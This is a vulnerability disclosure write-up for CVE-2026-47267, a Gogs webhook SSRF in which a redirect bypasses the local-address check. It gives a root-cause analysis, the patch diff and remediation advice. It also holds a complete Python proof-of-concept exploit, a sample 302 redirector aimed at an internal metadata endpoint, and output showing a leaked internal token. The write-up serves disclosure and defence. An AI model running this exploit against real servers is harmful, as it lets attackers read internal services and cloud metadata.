Skip to content

CVE-2026-47267: Gogs Webhook SSRF via Redirect Bypass with Response Exfiltration

TL;DR

  • Gogs blocked webhook URLs whose original hostname resolved to a local network address.
  • Gogs 0.14.2 then used an HTTP client that followed redirects without applying that check to the new destination.
  • A repository administrator could point a webhook at a public server that returned a 301, 302, or 303 redirect to an internal HTTP endpoint. Go followed it with a GET and Gogs recorded the final status, headers, and body.
  • I read an internal service's response body straight out of a repository's webhook delivery history on Gogs 0.14.2.
  • The issue affects Gogs through 0.14.2, is tracked as CVE-2026-47267 and GHSA-c4v7-xg93-qf8g, and was fixed in 0.14.3.

Summary

Gogs validated the first destination of a webhook delivery, but the HTTP client could silently replace that destination while following a redirect. The final response was then exposed to the repository administrator through delivery history.

  • CVE: CVE-2026-47267
  • Product: Gogs (gogs/gogs)
  • Vulnerability: Server-Side Request Forgery via Webhook Redirect with Response Exfiltration
  • Affected Versions: <= 0.14.2
  • Fixed In: 0.14.3
  • CVSS Severity: 8.3 (high, assigned by GitHub as CNA)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
  • Required Privilege: None
  • Advisory: GHSA-c4v7-xg93-qf8g
  • Reported: May 8, 2026
  • NVD Published: June 24, 2026

Introduction

I pointed deepsec at Gogs around the time we published my argument-injection RCE, CVE-2026-52806, over at Rapid7. I reported three of the issues it found, and this is the last, after the Git HTTP authorisation bypass and the notebook XSS.

Webhooks are an obvious place to go looking. They're one of the very few features where an ordinary user gets to make the server issue an outbound HTTP request on demand, and Gogs had clearly thought about that already. There's a local-network check on the webhook URL, added years back for CVE-2022-1285, and pointing a hook straight at 127.0.0.1 gets you a polite refusal.

The delivery history made the exception more interesting because Gogs saves each response for the repository administrator to inspect.

Root Cause Analysis

All the excerpts below are from Gogs 0.14.2, at commit 5dcb6c64.

Only the Original Hostname Is Checked

Webhook delivery starts in HookTask.deliver().

func (t *HookTask) deliver() {
    payloadURL, err := url.Parse(t.URL)
    if err != nil {
        t.ResponseContent = fmt.Sprintf(`{"body": "Cannot parse payload URL: %v"}`, err)
        return
    }
    if netutil.IsBlockedLocalHostname(payloadURL.Hostname(), conf.Security.LocalNetworkAllowlist) { // [1] Only the configured hostname is checked.
        t.ResponseContent = `{"body": "Payload URL resolved to a local network address that is implicitly blocked."}`
        return
    }

    t.IsDelivered = true

    timeout := time.Duration(conf.Webhook.DeliverTimeout) * time.Second
    req := httplib.Post(t.URL).SetTimeout(timeout, timeout). // [2] The request still targets the configured URL.
        Header("X-Github-Delivery", t.UUID).
        Header("X-Github-Event", string(t.EventType)).
        Header("X-Gogs-Delivery", t.UUID).
        Header("X-Gogs-Signature", t.Signature).
        Header("X-Gogs-Event", string(t.EventType)).
        SetTLSClientConfig(&tls.Config{InsecureSkipVerify: conf.Webhook.SkipTLSVerify})
    // ... Request body selection and delivery recording are omitted.

At [1], IsBlockedLocalHostname() resolves the hostname and rejects it when any returned address falls within the blocked ranges. A direct webhook to a loopback or link-local address therefore stops before a request is sent.

The URL used at [2] has passed that one check. There is no policy attached here for any destination that may appear later in a redirect response.

The HTTP Client Follows Redirects

The request eventually reaches Request.getResponse().

client := &http.Client{ // [3] No CheckRedirect policy is configured.
    Transport: trans,
    Jar:       jar,
}

// ... User-agent and debug handling are omitted.
resp, err := client.Do(r.req)

The client at [3] uses Go's default redirect policy, which follows up to ten redirects. IsBlockedLocalHostname() plays no part in that process, so a public destination can return a Location header naming a hostname that would have been rejected outright had it been typed into the webhook form.

Gogs sends the first webhook request as a POST. For a 301, 302, or 303, Go follows with a bodyless GET. Because this request lacks GetBody, 307 and 308 cannot reliably replay its non-empty body.

Gogs Returns the Final Response

After req.Response() follows the redirect, deliver() captures the result.

resp, err := req.Response() // [4] The response may come from the redirected destination.
if err != nil {
    t.ResponseInfo.Body = fmt.Sprintf("Delivery: %v", err)
    return
}
defer resp.Body.Close()

// Status code is 20x can be seen as succeed.
t.IsSucceed = resp.StatusCode/100 == 2
t.ResponseInfo.Status = resp.StatusCode
for k, vals := range resp.Header {
    t.ResponseInfo.Headers[k] = strings.Join(vals, ",")
}

p, err := io.ReadAll(resp.Body) // [5] The final body is read in full.
if err != nil {
    t.ResponseInfo.Body = fmt.Sprintf("read body: %s", err)
    return
}
t.ResponseInfo.Body = string(p) // [6] The body becomes part of the hook task response.

The response captured at [4] is whatever came back at the end of the redirect chain, not from the URL that passed the check. Gogs keeps the status and every header, then reads the whole body at [5] and hands it to the hook task at [6]. Nothing along the way reconsiders where those bytes came from.

HookTask.BeforeUpdate() serialises that response into the database. The delivery-history template then renders the same value.

<h5>{{$.i18n.Tr "repo.settings.webhook.body"}}</h5>
<pre class="raw"><code class="nohighlight">{{.ResponseInfo.Body}}</code></pre>

Impact

Gogs 0.14.2 followed a public redirect to a private HTTP service that the webhook form rejected directly, then exposed its response body in delivery history.

The published advisory demonstrates the same behaviour against 169.254.169.254 on the public Gogs test instance.

The demonstrated primitive reads responses to unauthenticated GET requests rather than sending arbitrary HTTP requests. A useful target has to be reachable from the Gogs process, need no attacker-controlled header, and return something worth reading.

Exploitation

Preconditions

  • Gogs 0.14.2 or earlier.
  • The attacker administers a repository on the instance. Where registration is public, any user can create one.
  • A public HTTP or HTTPS endpoint that answers Gogs' POST with a redirect to the internal target.
  • An internal endpoint reachable from the Gogs process that answers an unauthenticated GET and returns something worth reading.

The redirector can be as thin as this.

HTTP/1.1 302 Found
Location: http://internal.service/metadata
Content-Length: 0
Connection: close

PoC

The script signs in, creates a webhook pointing at the supplied redirect URL, triggers a delivery, and prints the recorded response.

#!/usr/bin/env python3
"""Read an internal HTTP response through the Gogs webhook redirect SSRF.

The supplied redirect endpoint must be publicly reachable from Gogs and return
a redirect to the internal HTTP URL you want to read.

Dependencies: requests, beautifulsoup4
"""

import argparse
import getpass
import os
import re
import sys
import time
from urllib.parse import urljoin, urlsplit

try:
    import requests
    import urllib3
    from bs4 import BeautifulSoup
except ImportError:
    sys.exit("Missing dependencies: python3 -m pip install requests beautifulsoup4")


class PocError(RuntimeError):
    pass


class GogsSession(requests.Session):
    def request(self, method, url, **kwargs):
        kwargs.setdefault("timeout", 15)
        return super().request(method, url, **kwargs)


def csrf_token(response):
    tag = BeautifulSoup(response.text, "html.parser").find(
        "meta", attrs={"name": "_csrf"}
    )
    if not tag or not tag.get("content"):
        raise PocError("The response did not contain a Gogs CSRF token")
    return tag["content"]


def response_error(response):
    try:
        message = response.json().get("message")
        if message:
            return message
    except (ValueError, AttributeError):
        pass
    alert = BeautifulSoup(response.text, "html.parser").select_one(
        ".ui.negative.message, .ui.error.message, .ui.red.message"
    )
    return " ".join(alert.stripped_strings) if alert else ""


def require_status(response, expected, action):
    if response.status_code not in expected:
        detail = response_error(response)
        suffix = f": {detail}" if detail else ""
        raise PocError(f"{action} returned HTTP {response.status_code}{suffix}")
    return response


def parse_repo_url(repo_url):
    parsed = urlsplit(repo_url.rstrip("/"))
    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
        raise PocError("Repository URL must use HTTP or HTTPS")
    if parsed.username or parsed.password or parsed.query or parsed.fragment:
        raise PocError("Repository URL must not contain credentials, a query, or a fragment")

    path = parsed.path.rstrip("/")
    if len([part for part in path.split("/") if part]) < 2:
        raise PocError("Repository URL must end with /OWNER/REPOSITORY")
    origin = f"{parsed.scheme}://{parsed.netloc}"
    return origin + path.rsplit("/", 2)[0], origin + path


def login(session, base_url, username, password):
    login_url = base_url + "/user/login"
    page = require_status(session.get(login_url), {200}, "Login page")
    response = session.post(
        login_url,
        data={
            "_csrf": csrf_token(page),
            "user_name": username,
            "password": password,
        },
        allow_redirects=False,
    )
    location = urljoin(login_url, response.headers.get("Location", ""))
    if urlsplit(location).path.rstrip("/").endswith("/user/login/two_factor"):
        raise PocError("This PoC does not support accounts with two-factor authentication")
    require_status(response, {302, 303}, "Login")


def hook_ids(response, hooks_url):
    hook_path = urlsplit(hooks_url).path.rstrip("/")
    pattern = re.compile(rf"^{re.escape(hook_path)}/(\d+)$")
    ids = set()
    for link in BeautifulSoup(response.text, "html.parser").select(
        ".ui.hook.list a[href]"
    ):
        path = urlsplit(urljoin(hooks_url + "/", link["href"])).path.rstrip("/")
        match = pattern.fullmatch(path)
        if match:
            ids.add(int(match.group(1)))
    return ids


def hook_list(session, hooks_url):
    response = session.get(hooks_url)
    if "/user/login" in urlsplit(response.url).path:
        raise PocError("Login did not produce an authenticated Gogs session")
    require_status(response, {200}, "Repository webhook settings")
    csrf_token(response)
    return response


def create_hook(session, hooks_url, redirect_url):
    before = hook_ids(hook_list(session, hooks_url), hooks_url)
    form_url = hooks_url + "/gogs/new"
    form = require_status(session.get(form_url), {200}, "Webhook form")
    response = session.post(
        form_url,
        data={
            "_csrf": csrf_token(form),
            "payload_url": redirect_url,
            "content_type": "1",
            "events": "push_only",
            "active": "on",
        },
        allow_redirects=False,
    )
    require_status(response, {302, 303}, "Webhook creation")

    created = hook_ids(hook_list(session, hooks_url), hooks_url) - before
    if len(created) != 1:
        raise PocError(f"Could not identify one new webhook (found {len(created)})")
    return created.pop()


def trigger_hook(session, hook_url):
    page = require_status(session.get(hook_url), {200}, "Webhook page")
    response = session.post(
        hook_url + "/test",
        data={"_csrf": csrf_token(page)},
        allow_redirects=False,
    )
    require_status(response, {200}, "Test Delivery")


def extract_delivery(response):
    item = BeautifulSoup(response.text, "html.parser").select_one(
        ".ui.hook.history.list > .item"
    )
    if not item:
        return None
    body = item.select_one('div[data-tab^="response-"] code.nohighlight')
    if body is None:
        return None

    status = item.select_one('a[data-tab^="response-"] span.label')
    delivery_id = item.select_one("a.sha.label")
    return {
        "id": delivery_id.get_text(strip=True) if delivery_id else "unknown",
        "status": status.get_text(strip=True) if status else "N/A",
        "body": body.get_text(),
    }


def wait_for_delivery(session, hook_url, wait_seconds):
    deadline = time.monotonic() + wait_seconds
    while time.monotonic() < deadline:
        page = require_status(session.get(hook_url), {200}, "Webhook history")
        delivery = extract_delivery(page)
        if delivery:
            return delivery
        time.sleep(0.5)
    raise PocError(f"No completed delivery appeared within {wait_seconds:g} seconds")


def delete_hook(session, hooks_url, hook_id):
    page = hook_list(session, hooks_url)
    response = session.post(
        hooks_url + "/delete",
        data={"_csrf": csrf_token(page), "id": str(hook_id)},
        allow_redirects=False,
    )
    require_status(response, {200}, "Webhook cleanup")
    if hook_id in hook_ids(hook_list(session, hooks_url), hooks_url):
        raise PocError("Gogs reported successful cleanup, but the webhook still exists")


def parse_args():
    parser = argparse.ArgumentParser(
        description=__doc__.splitlines()[0],
        epilog="The password is prompted unless GOGS_PASSWORD is set.",
    )
    parser.add_argument("repository_url", help="Existing Gogs repository web URL")
    parser.add_argument("redirect_url", help="Public URL that redirects to the internal target")
    parser.add_argument("--username", required=True, help="Repository administrator username")
    parser.add_argument(
        "--wait", type=float, default=20, help="Delivery wait in seconds (default: 20)"
    )
    parser.add_argument("--insecure", action="store_true", help="Disable TLS verification")
    parser.add_argument(
        "--keep-hook", action="store_true", help="Keep the hook and delivery history"
    )
    return parser.parse_args()


def main():
    args = parse_args()
    if args.wait <= 0:
        raise PocError("--wait must be positive")
    base_url, repo_url = parse_repo_url(args.repository_url)
    redirect = urlsplit(args.redirect_url)
    if redirect.scheme not in {"http", "https"} or not redirect.netloc:
        raise PocError("Redirect URL must use HTTP or HTTPS")

    password = os.environ.get("GOGS_PASSWORD") or getpass.getpass("Gogs password: ")
    session = GogsSession()
    session.verify = not args.insecure
    session.headers["User-Agent"] = "gogs-webhook-ssrf-poc/1.0"
    if args.insecure:
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    hooks_url = repo_url + "/settings/hooks"
    hook_id = None
    cleanup_ok = True
    try:
        login(session, base_url, args.username, password)
        print(f"[+] Authenticated as {args.username}")

        hook_id = create_hook(session, hooks_url, args.redirect_url)
        hook_url = f"{hooks_url}/{hook_id}"
        print(f"[+] Created webhook {hook_id}: {hook_url}")

        trigger_hook(session, hook_url)
        print("[+] Triggered Test Delivery")
        delivery = wait_for_delivery(session, hook_url, args.wait)
        print(f"[+] Captured delivery {delivery['id']}")
        print(f"    HTTP status: {delivery['status']}")
        print(f"    Response body:\n{delivery['body']}")

    finally:
        if hook_id is not None:
            if args.keep_hook:
                print(f"[*] Kept webhook {hook_id}: {hooks_url}/{hook_id}")
            else:
                try:
                    delete_hook(session, hooks_url, hook_id)
                    print(f"[+] Deleted webhook {hook_id}")
                except (PocError, requests.RequestException) as exc:
                    cleanup_ok = False
                    print(f"[-] Cleanup failed for webhook {hook_id}: {exc}", file=sys.stderr)
    return 0 if cleanup_ok else 1


if __name__ == "__main__":
    try:
        sys.exit(main())
    except (PocError, requests.RequestException) as exc:
        sys.exit(f"[-] {exc}")

Run it against the repository's web URL.

python3 poc.py https://gogs.example/owner/repository \
  https://redirect.example/hook \
  --username attacker

The password is requested without echo, or supplied through GOGS_PASSWORD. Accounts with two-factor authentication need a token, since the script drives the normal login form.

Against Gogs 0.14.2, the PoC returned:

[+] Authenticated as ssrfuser
[+] Created webhook 1: http://127.0.0.1:31142/ssrfuser/existing-repo/settings/hooks/1
[+] Triggered Test Delivery
[+] Captured delivery 09eb784b-020d-4493-8b93-7a8afefb00e8
    HTTP status: 200
    Response body:
INTERNAL_METADATA_TOKEN=ssrf-final-8d7b4c2a
[+] Deleted webhook 1

The Gogs webhook delivery history rendering the internal response body returned through the redirect

Gogs 0.14.3 refused the redirect:

[+] Authenticated as ssrfuser
[+] Created webhook 1: http://127.0.0.1:31143/ssrfuser/existing-repo/settings/hooks/1
[+] Triggered Test Delivery
[+] Captured delivery de1bb0ff-33d1-4fad-b26f-a0eebd736ffc
    HTTP status: 0
    Response body:
Delivery: Post "http://10.77.0.10:8080/metadata": refusing to follow webhook redirect to "http://10.77.0.10:8080/metadata"
[+] Deleted webhook 1

Patch Diffing

The fix was developed in PR #8263. The main-branch commit is 199cf4f, which is also referenced by the advisory. Gogs 0.14.3 carries the release-branch cherry-pick 06ca5a3.

The release patch first exposed a redirect policy through the internal HTTP helper. The following fragment is from the stable commit.

// internal/httplib/httplib.go (Request.getResponse)
 client := &http.Client{
-   Transport: trans,
-   Jar:       jar,
+   Transport:     trans,
+   Jar:           jar,
+   CheckRedirect: r.setting.CheckRedirect,
 }

Webhook delivery then installed a policy that returns an error for every redirect.

// internal/database/webhook.go (HookTask.deliver)
-       SetTLSClientConfig(&tls.Config{InsecureSkipVerify: conf.Webhook.SkipTLSVerify})
+       SetTLSClientConfig(&tls.Config{InsecureSkipVerify: conf.Webhook.SkipTLSVerify}).
+       SetCheckRedirect(func(req *http.Request, _ []*http.Request) error {
+           // The webhook target is explicitly configured by the user, so any
+           // redirect would silently retarget the signed payload. Refuse all
+           // redirects rather than chase them.
+           return errors.Newf("refusing to follow webhook redirect to %q", req.URL.Redacted())
+       })

The shipped fix is stricter than rechecking only local destinations. A webhook now fails whenever its configured endpoint redirects anywhere. Normal deliveries to the configured endpoint still work.

The patch stops redirect-based SSRF but does not enforce resolved addresses at dial time, so it does not address DNS rebinding.

The fix shipped in Gogs 0.14.3 on June 7, 2026.

Remediation

Update to Gogs 0.14.3 or later.

Until an instance can be updated, restrict who can administer repository webhooks and apply outbound network controls that prevent the Gogs process from reaching loopback, private, and link-local services. Checking only the configured URL outside Gogs does not stop a redirect.

Disclosure Timeline

Conclusion

This was the last of the three deepsec findings I reported, and it came from a feature Gogs had already tried to secure. The direct local-address check worked. Following the request one hop further was enough to reach the same address and print its response back in the repository settings.

References